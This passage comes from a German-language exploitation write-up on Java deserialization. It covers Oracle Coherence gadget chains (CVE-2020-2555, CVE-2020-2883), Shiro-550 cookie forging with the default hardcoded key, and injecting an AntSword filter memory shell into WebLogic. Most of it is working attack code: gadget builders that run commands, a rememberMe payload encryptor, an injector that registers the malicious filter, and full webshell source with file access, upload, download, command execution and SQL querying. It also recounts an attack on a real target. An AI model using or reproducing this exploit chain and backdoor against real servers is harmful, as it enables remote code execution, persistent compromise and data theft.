return null;
}
}

### Benutzerdefinierter ClassLoader
```java
package org.chabug.loader;
import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile;
public class MyLoader extends ClassLoader {
public static String className = "org.chabug.demo.Calc";
public static byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class");
public static void main(String[] args) throws Exception {
new MyLoader().loadClass(className).newInstance();
}
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(className)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(className, bytes, 0, bytes.length);
}
return super.findClass(name);
}
}
Diese beiden Sicherheitslücken ähneln der Form der CC-Kette, nur der Aufbau des Gadgets ist anders. Schauen wir uns zuerst die früheste gemeldete CVE-2020-2555 an.
Das Problem liegt in com.tangosol.util.extractor.ReflectionExtractor#extract```java public Object extract(Object oTarget) { if (oTarget == null) { return null; } else { Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
ist identisch mit der transform()-Methode der CC-Kette, daher muss auch eine Klasse gefunden werden, die analog zu ChainedTransformer ist.```java
public E extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
this.getExtractors() stammt von seiner Elternklasse AbstractCompositeExtractor```java protected ValueExtractor[] m_aExtractor; public ValueExtractor[] getExtractors() { return this.m_aExtractor; }
Und in com.tangosol.util.filter.LimitFilter#toString wird extract() ausgelöst.```java
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}
sb.append("])");
return sb.toString();
}
Beachten Sie diese.```java ValueExtractor extractor = (ValueExtractor)this.m_comparator; extractor.extract(this.m_oAnchorTop) extractor.extract(this.m_oAnchorBottom)
Felder dieser Klasse anzeigen```java
private Comparator m_comparator;
private Object m_oAnchorTop;
private Object m_oAnchorBottom;
m_comparator ist vom Typ Comparator, und ChainedTransformer implementiert dieses Interface.

Also kann m_comparator das chainedExtractor-Objekt aufnehmen, und dann wird m_oAnchorTop mit Runtime.class übergeben.
Zusammenfassung: Verwende BadAttributeValueExpException, um das toString() von LimitFilter auszulösen, dann ruft ChainedExtractor verkettet extract() auf, um Runtime auszuführen.```java package org.chabug.cve;
import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter; import org.chabug.util.Serializables;
import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field;
public class CVE_2020_2555 { public static void main(String[] args) throws Exception { ReflectionExtractor extractor1 = new ReflectionExtractor( "getMethod", new Object[]{"getRuntime", new Class[0]}
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"cmd", "/c", "calc"}}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
// serialize
byte[] buf = Serializables.serializeToBytes(badAttributeValueExpException);
Serializables.deserializeFromBytes(buf);
}
}
### CVE-2020-2883
2883 ist eigentlich die Kette, die wir zuvor aus den beiden CC-Ketten abgeleitet haben.```java
package org.chabug.cve;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CVE_2020_2883 {
public static void main(String[] args) throws Exception {
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}});
ValueExtractor[] valueExtractors = new ValueExtractor[]{
reflectionExtractor1,
reflectionExtractor2,
reflectionExtractor3,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = "1";
byte[] buf = Serializables.serializeToBytes(queue);
}
}
die gesamte Ausnutzungskette```java /*
Die ersten Hälften der beiden CVEs sind identisch: Sie konstruieren über den `ChainedExtractor` eine Chain zur Runtime. Bei 2555 wird `BadAttributeValueExpException` verwendet, bei 2883 `PriorityQueue`.
## Shiro-550 rememberMe – Hardcodierter Schlüssel führt zu Deserialisierungs-RCE
Zunächst muss man wissen, dass Shiro ein Framework zur Authentifizierung ist, dessen Funktionsprinzip auf servletbasierten Filtern beruht. Die Shiro-Bibliothek definiert in der `web.xml` einen `ShiroFilter`, der für alle URLs im aktuellen Verzeichnis gilt.

Die Verarbeitung des Cookies erfolgt in der Klasse `CookieRememberMeManager`, die von `AbstractRememberMeManager` erbt. In `AbstractRememberMeManager` ist der Verschlüsselungsschlüssel `DEFAULT_CIPHER_KEY_BYTES` hartcodiert.

Die Verschlüsselung erfolgt symmetrisch mit AES-CBC, anschließend wird mittels `org.apache.shiro.io.DefaultSerializer` serialisiert und deserialisiert.

Mit Kenntnis des Verschlüsselungsalgorithmus und des hartcodierten Schlüssels kann ein bösartiges Objekt konstruiert werden, um eine Deserialisierungs-RCE auszulösen. Der Verschlüsselungsalgorithmus ist wie folgt:```java
package org.chabug.util;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
public class EncryptUtil {
private static final String ENCRY_ALGORITHM = "AES";
private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes(); // 16字节IV
public EncryptUtil() {
}
public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
try {
SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
Cipher cipher = Cipher.getInstance(CIPHER_MODE);
IvParameterSpec iv = new IvParameterSpec(IV);
cipher.init(1, keySpec, iv);
byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
return cipherTextBytes;
} catch (NoSuchPaddingException var6) {
var6.printStackTrace();
} catch (NoSuchAlgorithmException var7) {
var7.printStackTrace();
} catch (BadPaddingException var8) {
var8.printStackTrace();
} catch (IllegalBlockSizeException var9) {
var9.printStackTrace();
} catch (InvalidKeyException var10) {
var10.printStackTrace();
} catch (Exception var11) {
var11.printStackTrace();
}
return null;
}
public static String shiroEncrypt(String key, byte[] objectBytes) {
byte[] pwd = Base64.decode(key);
byte[] cipher = encrypt(objectBytes, pwd);
assert cipher != null;
byte[] output = new byte[pwd.length + cipher.length];
byte[] iv = IV;
System.arraycopy(iv, 0, output, 0, iv.length);
System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
return Base64.encode(output);
}
}
Mit CC5 ein rememberMe-Cookie generieren```java package org.chabug.shiro;
import org.chabug.util.EncryptUtil; import org.chabug.util.Serializables; import ysoserial.payloads.CommonsCollections5;
public class Shiro550 { public static void main(String[] args) throws Exception { CommonsCollections5 cc = new CommonsCollections5(); Object calc = cc.getObject("calc"); byte[] bytes = Serializables.serializeToBytes(calc); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); System.out.println(rememberMe); } }
bp Paket senden

Auf dem Ziel wird der Taschenrechner geöffnet

## WebLogic + Shiro Deserialisierung: Ein-Klick-Registrierung einer Filter-In-Memory-Shell
Kommen wir zum eigentlichen Thema. Zuerst die allgemeine Vorgehensweise:
Das anvisierte Shiro-Ziel hatte kein verwertbares Gadget, aber wir haben seinen Schlüssel als Standard `kPH+bIxk5D2deZiIxcaaaA==` ermittelt. Durch die 404-Fehlerseite stellten wir fest, dass es sich um WebLogic handelt. Mit dem Gadget CVE-2020-2883 gelang uns RCE, aber es gab keine ausgehende Verbindung, daher war kein Reverse Shell möglich. Da es SpringMVC war, konnten wir auch keine JSP-Dateien schreiben und darauf zugreifen. Also blieb nur der Weg, eine Filter-In-Memory-Shell zu erstellen.
Zusammenfassung:
1. Der Einstiegspunkt der Deserialisierung ist Shiro.
2. Das Gadget ist 2883.
3. 2883 definiert Bytecode über URLClassLoader.
4. Im Bytecode wird Code zur Registrierung der In-Memory-Shell geschrieben.
5. Die Filter-Shell wird im Speicher von WebLogic registriert.
Zuerst muss das Problem der Nutzung des Shiro-2883-Gadgets gelöst werden. Es geht einfach darum, das zuvor von 2883 erzeugte Queue-Objekt in Shiro mit AES Base64 zu verschlüsseln.```java
byte[] buf = Serializables.serializeToBytes(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
Um den Bytecode zu definieren, muss man zuerst die Klasse des Bytecode schreiben, also den Code zum Injizieren einer Memory-Shell.```java package org.chabug.memshell;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map;
public class InjectFilterShell { static { try { Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread());
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);
Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
cachedClassesF.setAccessible(true);
Object cachedClass = cachedClassesF.get(cl);
Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
if (getM.invoke(cachedClass, "shell") == null) {
byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class");
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);
String evilName = "gameName" + System.currentTimeMillis();
String filterName = "gameFilter" + System.currentTimeMillis();
String[] url = new String[]{"/*"};
Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
putM.invoke(cachedClass, filterName, evilFilterClass);
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilterM.setAccessible(true);
registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
Nachdem das Jar-Paket kompiliert wurde, wird es mit dem Befehl base64 -d geschrieben, damit wir es später über URLClassLoader laden können. Da der Code in einem static-Block liegt, wird er beim Laden automatisch ausgeführt.
Schreiben wir nun den Code, um das vorherige Jar-Paket über URLClassLoader mit 2883 zu laden.```java
package org.chabug.memshell;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.EncryptUtil;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;
public class CVE_2020_2883_URLClassLoader {
public static void main(String[] args) {
try {
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{URL[].class}}
);
ReflectionExtractor extractor2 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
);
// load filter shell
ReflectionExtractor extractor3 = new ReflectionExtractor(
"loadClass",
new Object[]{"org.chabug.memshell.InjectFilterShell"}
);
ReflectionExtractor extractor4 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{}}
);
ReflectionExtractor extractor5 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{}}
);
ValueExtractor[] valueExtractors = new ValueExtractor[]{
extractor1,
extractor2,
extractor3,
extractor4,
extractor5,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = URLClassLoader.class;
queueArray[1] = "1";
byte[] buf = Serializables.serializeToBytes(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Durch URLClassLoader wird die Klasse org.chabug.memshell.InjectFilterShell geladen, automatisch wird der static-Block ausgeführt. Im static-Block wird der Bytecode von C:/Users/Administrator/Desktop/AntSwordFilterShell.class gelesen, und dann wird die Klasse AntSwordFilterShell durch Definition des Bytecodes injiziert. AntSwordFilterShell ist unser Filter-Shell. Der Code lautet wie folgt:```java package org.chabug.memshell;
import javax.servlet.; import java.io.; import java.net.HttpURLConnection; import java.net.URL; import java.sql.*; import java.text.SimpleDateFormat;
public class AntSwordFilterShell implements Filter{
String Pwd = "th1sIsMySecretPassW0rd!"; //连接密码
String encoder = ""; // default
String cs = "UTF-8"; // 脚本自身编码
String EC(String s) throws Exception {
if (encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes("ISO-8859-1"), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "show databases"; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "show tables from " + dbname; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t"; // general
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
Connection c = DriverManager.getConnection(url);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(ServletRequest r) throws Exception {
// String d = r.getSession().getServletContext().getRealPath("/");
String d = this.getClass().getClassLoader().getResource("/").getPath();
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
return s += sF;
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
bw.write(fileContext);
bw.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(ServletRequest r) throws Exception {
// String d = r.getServletContext().getRealPath("/"); String d = this.getClass().getClassLoader().getResource("/").getPath(); String serverInfo = System.getProperty("os.name"); String separator = File.separator; String user = System.getProperty("user.name"); String driverlist = WwwRootPathCode(r); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; }
boolean isWin() {
String osname = System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) {
if (encode.equals("hex") || encode == "hex") {
if (str == "null" || str.equals("null")) {
return "";
}
StringBuilder sb = new StringBuilder();
StringBuilder temp = new StringBuilder();
try {
for (int i = 0; i < str.length() - 1; i += 2) {
String output = str.substring(i, (i + 2));
int decimal = Integer.parseInt(output, 16);
sb.append((char) decimal);
temp.append(decimal);
}
} catch (Exception e) {
e.printStackTrace();
}
return sb.toString();
} else if (encode.equals("base64") || encode == "base64") {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}
public void init(FilterConfig f) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("size") != null) {
response.setContentType("text/html");
response.setCharacterEncoding(cs);
StringBuffer sb = new StringBuffer("");
try {
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = {z0, z1, z2, z3};
sb.append("->|");
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("ERROR" + "://" + e.toString());
e.printStackTrace();
}
sb.append("|<-");
response.getWriter().print(sb.toString());
} else {
chain.doFilter(request, response);
}
}
public void destroy() {
}
}
Jetzt kann man direkt loslegen. Zuerst muss man `org.chabug.memshell.InjectFilterShell` als JAR packen.```bash
jar cvf tttt.jar org\chabug\memshell\InjectFilterShell.class

Dann schreibe das tttt.jar und die AntSwordFilterShell.class in das Ziel. Schließlich verwende CVE_2020_2883_URLClassLoader, um den rememberMe-Cookie zu generieren und das Ziel anzugreifen.
URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell
Demonstration:
